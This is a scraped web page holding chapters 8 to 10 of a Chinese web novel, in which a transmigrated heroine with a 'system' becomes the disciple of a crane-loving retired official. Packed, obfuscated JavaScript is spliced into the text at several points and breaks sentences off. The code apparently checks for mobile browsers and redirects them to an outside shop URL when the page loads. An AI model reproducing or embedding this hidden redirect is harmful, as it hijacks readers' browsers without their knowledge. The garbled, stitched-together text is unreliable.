35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304780|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云曜：“……” 呵呵。 有时候真想把这谜语人系统扔出去。 她在心中腹诽着，踏入了正门诊所内。 此地说是诊所，其实就是个去掉了厨房跟卧室的寻常屋宅——空气中传来清新而略带苦涩的草药香，在云氏众人推门而入带来的雨汽蒸腾下，药香有如实质般往人鼻子里钻。 除此之外，空气中还弥漫着一种禽类特有的腥膻味，无端令人联想到在鸡圈里啄小虫吃的母鸡。 房内角落摆了几个铜碗，碗里摆放着脂白的蜡烛，烛光摇晃，不时发出轻微的“毕波”声。 “谁去烧些热水？” “我已经把马儿栓牢，箱箧也都放好了。” “快去屋里请大夫吧。” 虽是第一次来到这里，但仆从们忙前忙后，完全不显慌张无措。 从这点细节也能看出：云氏的确家大业大，因为，仆人们都很有伺候人的经验。 有一名方脸仆从凑上来，想给云曜擦衣服，但不知为何，手上动作忽的一顿。 “二娘子，你的衣服是什么时候干的？” 云曜应声低头，发现自己明明才刚踏入室内，身上的袍衫居然已经干了大半。 怎么回事？ 【是宿主的[更衣]技能在发挥作用。你的衣服总是会比常人更加干净整洁。】 “……没什么，我没怎么淋到雨。你们快去照料阿姊吧。”云曜打了个马虎眼，含糊回答。 她自然不可能把金手指的存在托盘而出。 “是，二娘子。” 方脸女子不疑有他，赶忙去房内烧火倒水，做些琐碎的工作。 “哎呦喂，我的右腿——” 不远处，云旼已经被力士放在了一张长榻上，她眉头紧蹙，朝不远处挂着一道帘子的内厢房张望。 “许大夫呢？”她问。 话音刚落，便有一名其貌不扬的中年女子撩开帘子，疾步走了出来。 她手中拿着一本蓝皮医书，边卷已经泛黄，看上去有些年头。 “云大娘子，真是贵人稀客，好久不见。若不是你来，我已经停诊了。你怎会来济海镇？” “此事说来话长，”云旼龇牙咧嘴片刻，对着云曜招招手，“小曜，你别站着了，快来我身边歇息一会儿。” 闻言，许大夫转头望向云曜，眼神中有些诧异。 “这是……二娘子？嗯，三年未见，二娘子已经长成了大姑娘，当真是翩翩淑女、英气焕发。精气神也相当不错。” 还没等云曜回答，云旼已经面露喜色。 “对吧，对吧？许大夫你三年没见我妹妹，都能一眼看出来。实话实说，我家就出了这么一个能读书的好苗子，小曜她确实是人中凰凤，一表人才！” 谈及云曜，她仿佛忘记了腿上的伤痛，喜得能手舞足蹈起来。 云曜：“……” 这家伙又妹控起来了。 她面色不改，似是已经习惯。只是默默给云旼掖了掖衣角，防止她因为动作过大扯到伤口。 “阿姊，注意一点，你还有腿伤。还是把受伤原委跟大夫讲一下吧。” 云旼被她提醒，回过神来：“噢、噢，是了。我腿上还有伤。” “许大夫，事情是这样的，我——” 刚讲清楚坠坡之事，屋外突然传来一阵巨响。 砰砰砰，砰砰砰！ 门环撞击大门之声。 “大夫何在？” 一道女声急切道，声调有些奇怪。 “快点开门，我家大人的小云要没命了！” [注1]化用自李清照《点绛唇》：见客入来，袜刬金钗溜。和羞走，倚门回首，却把青梅嗅。 8. 第 8 章 “大夫？大夫！” 这声音格外焦急，震得房内众人齐齐往门口方向去看。 “莫急，七九还在外面。” 许大夫说：“刚刚他给你们开了门，现在应当还没回房。” 七九？ 云曜眼珠一转，便明白过来：她说的应该是她儿子，也就是刚才院中对她含情脉脉的那名少男。 “是谁啊？她们不知道许大夫你已经停诊了么，”云旼大大咧咧抱怨道，“这种雷雨天气还来敲门，真没有礼节。” 云曜面露尴尬之色，低声提醒：“……阿姊你少说两句。” 请问刚才猛猛敲门的是谁家仆从？ 真论及礼节，她们两人也占不得上风。 所幸许大夫医者仁心，只憨厚一笑，并没有在此事上计较。 “噢，这镇上近来只有一位‘大人’。想来，敲门的应当是那位沈大人吧。”她说。 “沈大人？” “这月上旬，济海镇来了位京中的大人，好像要去什么g、gen……”许大夫没能吐出一个完整的字节，最后只能耸耸肩。 “年纪大就是这点不好，我实在记不清这许多。只记得是在郡上的一个地方。” gen？ 云曜也猜不到她要说什么。 “七九应当已经去开门了。” 正如许大夫所言，门外隐约传来了大门开启的声音，间或夹杂着男子询问声。 “……何人……原来是……” 不知是不是云曜的错觉，她听到许七九声音里带了浓重的鼻音，似乎刚哭过一场。 知儿莫若母，许大夫显然也听了出来。 “咦？”她眉头一蹙，有些疑惑，“七九是怎么了？刚才不还好好的。” 云曜：“咳。” 喉咙突然有点痒。 ……绝对不是因为自己心虚！ 好在许大夫没有时间追究此事，只嘟囔着说了句：“或许是下雨着凉，等会儿给他开个方子。” 没过一会儿，就有两名女人冲了进来。 “大夫！” 一名青年作小厮打扮，怀中抱着一个巨大的、正在痉挛抽搐的白色生物，有点像是—— 大鹅。 “大夫，快看看我家大人的小云吧。” 这声“小云”，应当指的就是她怀中的白色动物。 在小厮身旁，被她称作大人的是一名面目慈祥的老太太。 此人头戴黑色帻巾，虽衣衫湿透，但举手投足间尽显文雅之态。纵然她端正慈祥的面容上已经生出数条皱纹，却也不显苍老迟暮。 云曜还注意到，这位“大人”腰间的玉带钩造型十分低调。不过任谁都能看出，这带钩的玉质细腻无比，在烛光映衬下，还隐隐有光华流转，显然价值不菲。 “……嚯。” 这时，她听到身旁的云旼突然安静下来，低声嘟囔了一句：“说的居然是官话。” 官话？ 【大曌定都在盛京，因此盛京话也被称作官话。】系统出声提醒。 云曜了然。 这就相当于现代某位京城高官，突然造访了某不知名小镇上的卫生所吧。 在场的土著大曌人，显然都比云曜知道的更多。 因为在此人出现后，屋内氛围忽然为之一变。 “……嘘。” “我去点烛。” “给娘子们拿这个。” 忙前忙后的云氏家仆们都放慢了动作，低声交谈，屏气凝息。 大曌并不抑商，恰恰相反，朝廷还在某种程度上鼓励民间经商。但社会潜规则仍是：商人跟士人之间，有一道隐秘的、不可逾越的鸿沟。 许大夫拿着医书走上前，恭敬行了个礼。 “大人，您要我看诊的小云，是这只仙鹤么？” 在场人的目光，当即聚焦到了小厮怀抱着的白色生物身上。 云曜：“……” 原来不是大鹅啊。 原谅她是一个孤陋寡闻的现代人。 怪不得这白色动物的翅膀边缘有一块黑色痕迹，她还以为是鹅在地里扑棱粘上的污泥呢。 “大夫无需多礼，”老太太摆摆手，“自昨日起，小云忽然上吐下泻、精神不振。本以为是消化不良，可今日一下暴雨，竟然不良于行，浑身抽搐。” “可否将仙鹤放下，让我看看？”许大夫问。 一旁小厮当即蹲下身子，小心翼翼地将仙鹤放在地上。 “噶、噶——” 仙鹤有气无力地干嚎几声。 原本嘹亮的清唳声，变得浑浊低沉。 它在地上抽搐翻滚两下，黑豆般的瞳孔忽然若有所感般，穿过人群，盯住远处的云曜。 “……？”云曜一愣。 这只仙鹤好像在看她？ 一人一鹤开始大眼瞪小眼。 突然间，仙鹤在那名沈大人跟小厮的注视下，站直了身子。它纤细的双腿摇摇欲坠，艰难支撑起了它的身体。 而后，它一瘸一拐地朝远处走去。 更准确地说…… 是朝云曜走去。 云曜一怔，而后她忽然想起，自己身上还有个名为[通灵之术]的特征。 动物们都会格外亲近她。 “噶、嘎嘎——” 在众目睽睽之下，仙鹤走到云曜身边伸展双翅，抖动痉挛了一下后，便顺从地窝在她脚边，不再动弹。 【我要提醒宿主，这一刻在你身上，不止有一项特征效果发挥作用了。】 【请宿主把握机会。】 系统郑重道。 * 机会？什么机会？ 云曜有些不解。 “哎呀，这真是……咦，大人？” 小厮还没说完，便看到自己身旁的沈大人也朝云曜疾步走去，身形甚至有些踉跄。 似是十分激动不安。 “小云……！” 老太太走到云曜身前，出乎意料地握住了她的手，眸中满是不敢置信。 “是你么，小云？” 滴！ 【新的人际网络[琅嬛书院]、[祥符士族]已解锁。】 【沈令仪：字远鹤，青州祥符人，时年六十。前都察院御史中丞，于格新3年告老辞官。 “琅嬛三仙”之一，爱鹤成痴。因仙鹤被称为“云中女君”，便给自己养过的仙鹤全部命名为“小云”。】 【您已接触到一位五星名师。】 【您已获得了[琅嬛书院]、[祥符士族]相关社交信息。】 刹那间，大量系统信息在脑内刷屏。 云曜浑身一颤。 她明白系统为什么让自己“把握机会”了。 这可是、这可是—— 一位五星名师啊！ 沈令仪握住她的手，上下打量她：“小云，不，不对，你……你是不是小云？” “是。”云曜没有一秒犹豫，当即点头。 别说小云了。 就算对方现在叫她“二丫”“铁妞”“柱子”之类的奇怪称号，她都会毫不犹豫地点头应下。 沈令仪眸中闪过一丝挣扎，她缓缓放下云曜的手，似是在跟自己的理智作斗争。 “可是，小云乃是仙鹤……人鹤有别，人鹤有别。”沈令仪喃喃道。 【看来，对方是把你认成自己养过的仙鹤了。】 系统出声。 云曜：她懂，她懂。 反正是因为自己身上的非人气息呗。 刚刚系统说有多项特征效果发挥作用，现在看来，除了[通灵之术]，估计就是[顶级白月光]了。 房内一时陷入了沉默，落针可闻。 “噶、噶、嘎嘎。” 突然间，一道怪声打破了沉寂。 原来就在这时，云曜脚边的那只仙鹤又动了一下。 “噶！嘎嘎。” 它看上去舒服了很多，声音也恢复了些许活力，那胖乎乎的身躯压住云曜衣摆下方的仙鹤流纹，隔着裙摆亲昵地蹭了蹭云曜的腿。 云曜甚至能感受到它毛茸茸的温暖体温。 像是前世被亲人的小猫碰瓷要粮的感觉——不过这只猫，体型还要增大个十倍左右。 见状，默然许久的沈令仪突然开口。 “假鹤戏真鹤，真鹤枕假鹤，吾非真仙鹤，安能辨真伪？妙哉，实在是妙哉。” 她盯着仙鹤懒洋洋的动作，紧蹙的眉毛舒展开来，突然“啪”地一声大力拍了下双手。 云曜：“……” 完全没听懂。 此时此刻，她衣摆的仙鹤流纹刺绣，随着那只胖仙鹤的蹭弄动作，正不住地摇摆着。 沈令仪视线随云曜的裙摆移动，面露欣喜。 “原来如此，这裙面的鹤纹，当真是栩栩如生。莫非是小云也感知到了什么？” 她摇头晃脑，语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这小姑娘应当是有盛京人脉，经多方打听，听闻她忽然动身来到济海镇，所以特意押宝在这里，想要从自己身上获得些什么吧。 沈令仪思忖着。 她面上虽波澜不惊，但其实已经下定决心。 如果对方请求得当，只要在合理范围之内，那么对她来说，应允也无妨。 毕竟，能哄她开心至此的人，也不多了。 “回大人——” “我名云曜，还未取字。今年十五岁，未有师承。” 云曜字斟句酌。 “方才听大人叫我‘小云’，因我恰好姓云，所以误认为大人或许会与家母相熟，乃是我的旧识长辈，故应下。” 虽然语气不卑不亢，但她手心已经布满了汗。 这可是琅嬛书院的五星名师啊啊啊！ 如果错过了她，自己根本不可能再寻得另一个老师了。 闻言，沈令仪一愣。 “你是说，你竟然真的姓云？” 云曜点头：“是。” “你单名曜，是哪个字？” 云曜朗声道：“《阴阳论》有云，女子光华内蕴，曜如明珠。我名便是这个‘曜’。” 【……宿主你真会现学现卖。】 云曜：嘘，系统你别吵。 已经很努力地把脑海里唯一一本书搬出来了好么！ 沈令仪上下打量云曜，眼中满是惊叹。 “噫，真是奇了怪了，世上怎会有如此巧合之事？” 身如鹤，衣如鹤，质如鹤，连名字都与“云中女君”仙鹤有关。 也就是说，这个姑娘刚刚并不是因为讨好她，才满嘴应承下来的？ 由于沈令仪像是在自言自语，所以云曜没有回话。 只见这个小老太太开始在原地踱步，似是苦苦思索着什么。 “祥符云氏，祥符云氏……” 为何并不耳熟？ 自己也是祥符籍贯，按理说，祥符出身的士族娘子，自己应当都有所了解才对。 沈令仪喃喃自语，眼眸愈发亮了起来。 “噢，是以绸缎闻名的那个云氏，年年向朝廷捐税不少的富商大贾。” 也就是说—— 这个气质高华如鹤的少年女郎，竟然不是士族之女？ 9. 第 9 章 “你可知我是谁？”沈令仪又沉声问道。 她神色已恢复如常，波澜不惊，面沉如水。与方才欢欣若狂的小老太太判若两人。 只有极眼尖的人，才能从她眸中窥见一丝没来得及遮掩的喜意。 云曜小幅度摇摇头：“我不知。” ——假的。 你叫沈令仪，被称作“琅嬛三仙”，曾是都察院的御史中丞，还是能救下她性命的五星名师。 “但我听大人口音，应当是盛京人士……？”她假装犹豫了一下，不确定地反问。 ——假的。 你是祥符人，只是在盛京做了很多年官。 沈令仪唇角微微勾起：“非也。” “我籍贯祥符，太姥曾做过祥符文学掾。只是后来在盛京多年，才学得了一口官话。你听我现在这样说，还觉得像盛京人么？” 最后一句话，她变换口音，换成了祥符人更熟悉的腔调。 听到沈令仪这么说，跟在她身边的小厮面上止不住地露出了讶异之色。 这还是那位沈令仪沈大人吗。 居然会这么和颜悦色地跟别人介绍自己的出身背景？ 要知道在盛京时，哪怕是同为祥符郡的士族娘子来访攀谈，都很可能被沈令仪摆臭脸轰走。 连当今圣上都曾感叹过“远鹤此人，着实孤狂疏傲”。 听到沈令仪的祥符话，云曜假模假样地摆出一副惊喜的表情。 “没想到我与大人竟是同乡，”她眉眼弯弯，“想来，大人能脱口而出叫我‘小云’，也是一种缘分。” 听到“小云”二字，云曜脚边的仙鹤懒洋洋抬起头。 “噶、噶噶。” 或许是待在云曜身边令它感到舒适，与最初相比，仙鹤的声音已经清亮了许多。 它胖乎乎的身子一扭，整只鹤的翅膀都依附到云鹤脚边，全然不在意两尺之外还站着自己的原主人。 “……缘分？” 沈令仪微微一笑，视线在云曜跟仙鹤之间逡巡，不置可否。 房内一时静了下来。 见她脸上露出捉摸不透的笑，云曜心里开始惴惴不安。 好慌好慌。 难道是她说错话了么？ 有种爱鹤小老太突然变身官场老狐狸的既视感。 此时，沈令仪的视线转移到一旁榻上，看到了正竖起耳朵聆听对话的云旼。 “云曜，这位姑娘，是你的什么人？”她问。 明明目光定格在云旼身上，她询问的对象却是云曜。 云曜猝不及防被喊出大名，一愣：“这是我阿姊。” 沈令仪又问：“为何来此？她似乎腿上有伤。” 潜台词是：如果人受了伤，应当去拜访正经大夫，而不是来寻兽医。 还没等云曜开口，床上躺着的云旼便忍不住替她回答。 “小曜是被我拖累过来的。我陪她去寻书院拜师，路上不幸坠坡，又遇到这种鬼天气，只得来寻最近的相熟大夫救治。” “你是说……” 沈令仪眉毛一扬：“你陪她去书院拜师？” “正是。我妹妹卧床三年，刚醒来不过数日，便打定主意去书院读书。她是个有大志向的女子。”提到云曜，云旼开始眉飞色舞。 “噢？” 见有人对云曜感兴趣，云旼立刻开启了夸夸模式。 “实不相瞒，小曜她天资聪颖、酷爱读书，连路上颠簸时都手不释卷；卧床时，她自立自强，照料她的侍从小郎们都说过‘二娘子不哭不闹，格外省心’。” 云曜：“呃……” 听得她有点汗流浃背了。 为了提升文学技能翻了一本《阴阳论》，就能叫“酷爱读书”； 昏迷三年变成不会动的植物人，还能说“不哭不闹，自立自强”。 她姐姐眼里到底装了什么强力的爱妹滤镜啊！ 不过，旁人显然很容易被云旼的话语打动。 只见沈令仪眸中浮现出了动容之色：“当真如此？” 云旼狠狠点头，目光不容置疑，大声道：“千真万确。” “这么说，你是因为三年卧床，身体抱恙，才没能举行及笄礼取字？”沈令仪又转向云曜。 “是。” 沈令仪问：“而且，刚醒转短短数日，你就想去书院拜师读书？” “是。” 闻言，沈令仪深吸一口气。 她看向云旼身上虽然脏污，却仍显豪奢华贵的牡丹袍，而后视线又缓缓转向一身素白的云曜。 微不可察地点了点头。 “虽是同胞姐妹，但你能出淤泥而不染。卧床三年，还能卓然独立，心怀凌云之志。” 沈令仪表情带着赞许之意，望着云曜的目光愈来愈温和慈祥。 云旼大笑：“正是如此！我妹妹就是这样的人。” 云曜看着其乐融融的两人：“……” 不是，云旼你在旁边乐呵呵点什么头？ 文化人骂起人来最为致命，这个小老太太可是在内涵你是“淤泥”啊！ * 说来也奇怪，不知从何时起，外头的风声雨声逐渐小了。 天色重又明朗起来，有光线穿过院内桃李，透过窗牖，在屋内地面拓下几块规则的方形痕迹。 过了一会儿，许大夫检查完了仙鹤的身体状况。 她开口对沈令仪恭敬道：“大人，我观这只仙鹤的状态，应当已无大碍了。或许只是吃了些难消化的果实种子。” 此时，她口中的仙鹤，正围着云曜不停打滚撒娇。 完全看不出刚来时病恹恹的模样。 “确实如此。”沈令仪点头。 按理说，自己的宝贝仙鹤安然无恙，外头天光又已转亮，这时候沈令仪就该离开了。 但她偏偏没有走的意思。 整个人仍然站在原地，脸上波澜不惊，令人猜不透她内心究竟在想些什么。 “给大夫诊金吧。”沈令仪说。 一旁的小厮应声走上前，从随身口袋中掏出几两成色极好的官银，交给许大夫。 “谢谢大夫，这是我家大人给的诊金。” 许大夫一惊，连连推辞，死活不愿收下。 “不，我什么都没做。硬要说的话，这仙鹤颇为亲近二娘子，应当是二娘子的功劳。” 众人都知道，她口中的二娘子，便是指的云曜。 两人又退让了一番，许医生无论说什么也不肯收下。 沈令仪没说话，只是静静将目光投向了云曜。 云曜神色淡然，似是若无所觉。 ……才怪咧！ 她从知晓沈令仪是五星名师起，注意力就一直放在她身上，怎么可能察觉不到她打量的视线。 “系统系统，快点告诉我，我是不是有戏？” 云曜面上强自维持镇定，实则心头已经炸开了锅。 【请宿主自行探索。】 系统给出了一个模棱两可的回答。 另一边，小厮跟许大夫又推让了几个回合，终于让对方收下了诊金。 “大人，要不要我去把小云抱起来？”小厮来到沈令仪身边，低声询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304782|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 随着时间推移，这只仙鹤在云曜身边越发自在了，完全没有了“云中女君”的矜持清高。 “嘎嘎！噶。” 鹤翅狂蹭，鹤身翻滚。 旁人看来，这只仙鹤简直像是换了个物种，变成乖巧温驯的猫狗，几乎能在云曜脚边打个窝定居。 然而沈令仪没有回答小厮。 她像是完全没有带着仙鹤离开的意思，目光沉沉，若有所思。 “大人……？” 这时，小厮用余光观察了一下沈令仪的脸色，突然间脑海灵光一现。 等一下。 沈大人难道是，醉翁之意不在酒？ 沈令仪此行是为了旧友之孙的某件秘事，从盛京出发，由于路途颠簸遥远，不便带男，所以身旁侍从皆是女子。 女人向来比男人聪慧，且这小厮打小便跟在沈令仪身旁做事，侍奉十余年，已经能从她的神态细节中猜出几分真意。 “大人……” 小厮心思在脑海里转了几转，便重新打了个腹稿。 “其实大夫刚刚说的有道理。小云此番能恢复如初，依我之见，跟这位云姑娘也很有关系。”小厮故意用在场几人能听得到的声音回答。 听她这样说，果然，先前一直不动声色的沈令仪突然开了口。 “嗯，的确如此。应当答谢。” 却没有说给诊金之事。 小厮心里越来越通透：“大人，原谅我僭越，我觉得，云姑娘家世显赫，区区几两碎银恐怕不足以为报。” “依你之见，该当如何？”沈令仪转头问。 小厮低头道：“应当问问云姑娘自己想要什么。” 此话一出，一旁聆听的云曜心脏狂跳。 她几乎按捺不住脸上激动的表情，连忙低下头做出恭敬状。 镇定啊，镇定。 自己离存活就只有那么一丁点的距离了！ “云曜姑娘，不知你想要些什么？”沈令仪温声开口。 云曜没有半分犹豫。 “谢谢大人，我什么都不想要。”她恭敬道。 【？！宿主你在做什么？】 【快点说你要拜师啊！】 系统突然出现，急切地在她脑海刷屏。 沈令仪闻言，“噢？”了声。 “你确定么。”她大有深意地问道。 “没错，无功不受禄，我什么都没做。大人的‘云中女君’或许只是察觉到了我的本心，才这样亲近我。” “本心……” 沈令仪低声重复。 云曜对着沈令仪微微欠身：“大女子行事只求无愧本心，不求回报。我志在读书，别无所求，惟愿行止处事不堕未来师尊名号。” 古代人要读书，就一定会拜师。 在大曌，一日为师终身为母。 师徒之间的关系，几乎是除了血缘外最为紧密的一种。 云曜垂下头，接着开口，朗声道：“想来，未来入书院拜师后，师尊如果能知晓我今日所作所为，定能感到宽慰。” 沈令仪沉默片刻，忽然拍掌大笑。 “好一个无愧本心，好一个志在读书，别无所求！” 她慢条斯理地整了整衣袖，望向云曜，露出了极其满意的笑容。 “你这姑娘，当真合我心意。我一生了无牵挂，无徒无夫，行事也是无愧本心。” 沈令仪感慨道，落在云曜身上的视线十分柔和。 “我问你——” “不知我‘琅嬛三仙’沈远鹤，能不能担得起你口中的师尊之名？” 10. 第 10 章 云曜怎么可能不愿意？ 她那番装模作样的发言，都已经在脑子里润色了几百遍，目的就是为了勾沈令仪上钩。 但既然已经演到了这里，戏还是要做足的。 “……琅嬛三仙？！” 云曜假装震惊了一下，面上有两分迷茫三分讶异外加五分的不敢置信，表情调色盘明明白白。 然后她舒展眉头，微微颔首，露出如释重负的笑颜。 “我曾向家母立誓，好女儿志存高远，我虽愚钝，但也要拜名师、通学问、砺心智、铸品行，成就一番作为。” “今日能遇见女君，实在是、实在是……”云曜抬起亮晶晶的双眸。 见状，沈令仪笑意愈浓。 她也不催促，只含笑看着云曜。 【宿主你这波表演，我得给你打满分。】 旁观了全程的系统不禁感慨。 云曜深吸一口气，轻声开口：“我……不，如果您不嫌弃，徒儿今后便叫您师尊了。” 显然，她的好演技也骗过了沈令仪。 只见沈令仪分外满意地点头：“不错。从今往后，你便是我沈令仪唯一的徒儿了。” 成功被正主盖章！ 云曜心中的小人转起了狂喜的圈圈：她能成功续命了！ 系统声音也如庆贺般，适时响起。 滴！ 【[平步青云]阶段一已完成。】 【根据宿主拜师状况，奖励人生点数1000点。】 【是否按10:1比例转化为存活时长？】 是是是。 都转！ 【当前剩余存活时长：102天。】 “……呼。请收徒儿一拜。” 云曜格外明显地松了一口气。然而，正当她打算向沈令仪行师徒礼时，却突然被对方阻止。 “哈哈哈，曜儿，你先等一等。这样的喜事，怎能不好好筹办一番？”沈令仪大笑。 其实大曌朝对拜师之礼并无规制，但沈令仪身份尊贵特殊，云曜又是她花甲之年招收的唯一一名弟子，故于情于理，都应当好好操办。 沈令仪提出，要顺便为云曜一同举办及笄礼。 “女子及笄赐字乃是大事，不知道云氏先前是如何操办的？”沈令仪问她。 云曜一愣：“……我记不得了。” 她怎么可能知道？ 自己只继承了原身的部分记忆，根本不了解云家的做派。 一旁躺在床上的云旼见状，连忙代替她回答。 “沈女君，小曜她三年前落水失忆，许多事情都不记得了。” 大曌朝的“女君”，是一种针对读书人的尊称，类似于云曜穿越前的“先生”。 无论女男，只要与读书扯上关系，都会被恭敬称为“女君”。 除此之外，有一些格外受读书人喜欢的动物，也会被赐予“女君”这个称呼。比如仙鹤，便被称为“云中女君”。 “那你是否记得，你们家是如何操办及笄礼的？”沈令仪继续问云旼。 闻言，云旼挠挠头，神色有点尴尬。 “女君，我家祖祖辈辈都是商贾，不太看重这个。之前我及笄时，阿母便是从郡里找了个教书女君赐字。” 云旼及笄时被赐的字为“季秋”，因她出生于农历九月，正好是季秋时节，此外，“旼”与“旻”同义，在古籍中曾代指秋天。 “我明白了。”沈令仪轻轻点头。 她略一思忖，随即告诉云曜，次日一早与她在济海镇外汇合，让云旼也一同前往。 “如果你们不嫌弃，便让我来全权负责这次及笄礼，如何？” 听沈令仪这么说，云曜跟云旼哪敢说不。 云曜连忙开口：“师尊有安排，徒儿自然是愿意的。” “可惜。如果不是旧友所托的要事，我还能再准备地更周全些，”沈令仪轻叹一口气，又说，“不过一日之期，也够了。” 旧友，要事？ 这是什么？ 云曜有些疑惑，但见沈令仪没有解释的意思，便并未出声询问。 接下来，沈令仪又问了云曜的生辰八字。 云曜一问三不知，但旁侧的云旼皆替她一一作答。 “嗯，我记住了。既然你已拜我为师，”沈令仪离开前叮嘱云曜，“及笄礼后，你便跟我一同离开吧。” 古代向来都是师徒一体，一荣俱荣，一损俱损。 既然选择了拜沈令仪为师，云曜便不可能再回到云氏，做回那个祥云绸缎庄的富贵二娘子。 她已经踏上一条全新的道路。 “没问题，师尊。”云曜点头称好。 “嗯。明早巳时，你我镇外见。” 沈令仪又嘱托了她一遍时间地点，随后抱起地上撒泼打滚不愿从云曜身边离开的仙鹤，与小厮一起走出门外。 “噶、嘎嘎！” 仙鹤恋恋不舍的声音，渐渐远去。 待沈令仪离开后，云曜被激动的云旼一把抱住。 “我的老天奶，娲神在上，小曜你当真出息了！” 云曜不敢乱动，怕扯到云旼那只伤腿，便只顺着她的话说。 “是是是。” ——出不出息不敢说，起码不用出人命了。 “那可是琅嬛三仙，沈令仪沈女君！你知道么，人家之前是盛京城里的大官，很大的大官！” “是是是。” ——当然。自己已经看见了，还知道沈令仪曾是前御史中丞。 “连阿姊我这种不学无术的人，都听说过她的名字。自大曌创立以来，她可是全祥符郡前无古人、后无来者的女君！因为她当年差点连中了三元！” “是是是……嗯？” ——差点连中三元？是说沈令仪每次科举考试都差点当了第一名么？ 聊到这里，系统便突然出现。 滴！ 【已触发新的[人生抱负]阶段。】 【[平步青云]阶段二：以魁首（第一名）身份通过郡试。】 【奖励：人生点数1500点。】 突如其来的任务提示，令云曜愣在当地。 “……小曜，你怎么了？” 这时，云旼敏锐地觉察到了云曜的僵硬。 她还以为，云曜是被沈令仪的履历唬住了，连忙出声宽慰。 “你也别太害怕，有阿姊挺你。虽然明日及笄礼阿母不在，但世人皆知长姐如母，我一定不会堕了我们云氏的面子。” 云曜回过神来，点点头。 “谢谢阿姊。” 她面上不动声色，内心却在思忖。 考取郡试第一名么。 听上去很有难度。 不知为何，明明面临的是件困难的任务，自己心中却有些热血沸腾、跃跃欲试——虽然前世她连名列前茅的次数都很少，更别提考到第一名。 时势造英媛，此时的她，只想放开手脚，大展宏图。 手握金手指系统，又顺利拜得名师—— 身为未来有无限可能的女人，怎能不为自己的前途挣一把？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304783|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时，除了云曜姐妹二人，其他人也全都喜气洋洋。 之前一直在一旁等候，连大气也不敢出的云氏仆从们终于敢开口说话，人人皆开心地交头接耳。 “那日在饭堂，我听二娘子一番慷慨激昂的发言，便知她一定大有作为。” “是啊，我也觉得。” “沈女君会不会把二娘子直接带到盛京？啊呀，那可得得让家主多准备些盘缠了。” 众人七嘴八舌，议论纷纷。 就连许大夫也对着云曜拱手，连声恭喜。 “既然明日才启程，为何今日不在我这里落脚？我虽是兽医，但在这镇上也算精通医术，给大娘子看腿还是不在话下的。” 在她的盛情邀请下，云氏一行人当晚便在她家歇下。 值得一提的是，傍晚就餐时，云旼还格外豪气地点了一份古代的超大份豪华“外卖”。 这种外卖被称为“索唤”，只要主家到酒楼去下单，饭店的跑腿娘子就能按时将饭菜送来。 云旼躺在床上不便行动，便指挥仆从们去最近的县里酒楼下单。 “来来来，见者有份！都来跟我们家小曜同乐同乐。” 傍晚时分，共有三个跑腿娘子驾着驴车来送菜。 喷香的油爆双脆、嫩滑的一品豆腐、清甜的诗礼银杏……各式各样的菜品满满当当摆了五大桌，直将许大夫的院落挤得满满当当。 “呀嗬，真是恭喜娘子家有喜事了。” 连送菜的跑腿娘子们都被留下吃了几口菜，每个人还被云氏家仆塞了点铜钱，这让她们脸上恭贺的笑容愈加真切。 屋内，云旼躺在榻上，与云曜二人单独摆了个小桌。 她虽行动不便，手上的筷子却从未停下。 ——全是往云曜碗里送的。 “小曜，你也多吃一点。以后读书了会累，你可得多补补脑子。” “小曜，吃点这个。你小时候最喜欢的。” “小曜，不能只吃一种菜，你还得再吃……” 一声声“小曜”不绝于耳，碗中，如小山般堆积起来的各色菜品几乎要满溢出来。 两颊塞满食物的云曜含糊不清开口。 “够了，够了。” “什么？噢，饿了？我就知道你脑子累，得多补补，”云旼大气一挥手，往屋外喊，“再送几盘进来！” “是！” 侍从耳尖又手快，立马从门外端了几盘油汪汪的菜色进来。 已经咀嚼到颊肌酸胀的云曜：“……嗝。” 求求了，亲姐姐。 她真的一点都吃不动了！ * 次日一早。 刚下过暴雨的天空万里无云、碧空如洗，是个深秋里难得一见的好天气。 云曜醒来，腹部仍有些饱胀。 “昨天真是吃得太撑了……” 她懒洋洋翻了个身，突然察觉到，似乎有哪里不对劲。 “嗯？” 身下的褥子怪怪的。 她眉头蹙起，一个鲤鱼打挺跳下床，掀开自己的被子—— 这时，门外传来云旼的声音。 “小曜，该起床了！别忘了今日你要去找沈女君拜师。” 然而，云曜却仿若未闻。 她只站在榻前，愣愣地看着被褥上的深色痕迹。 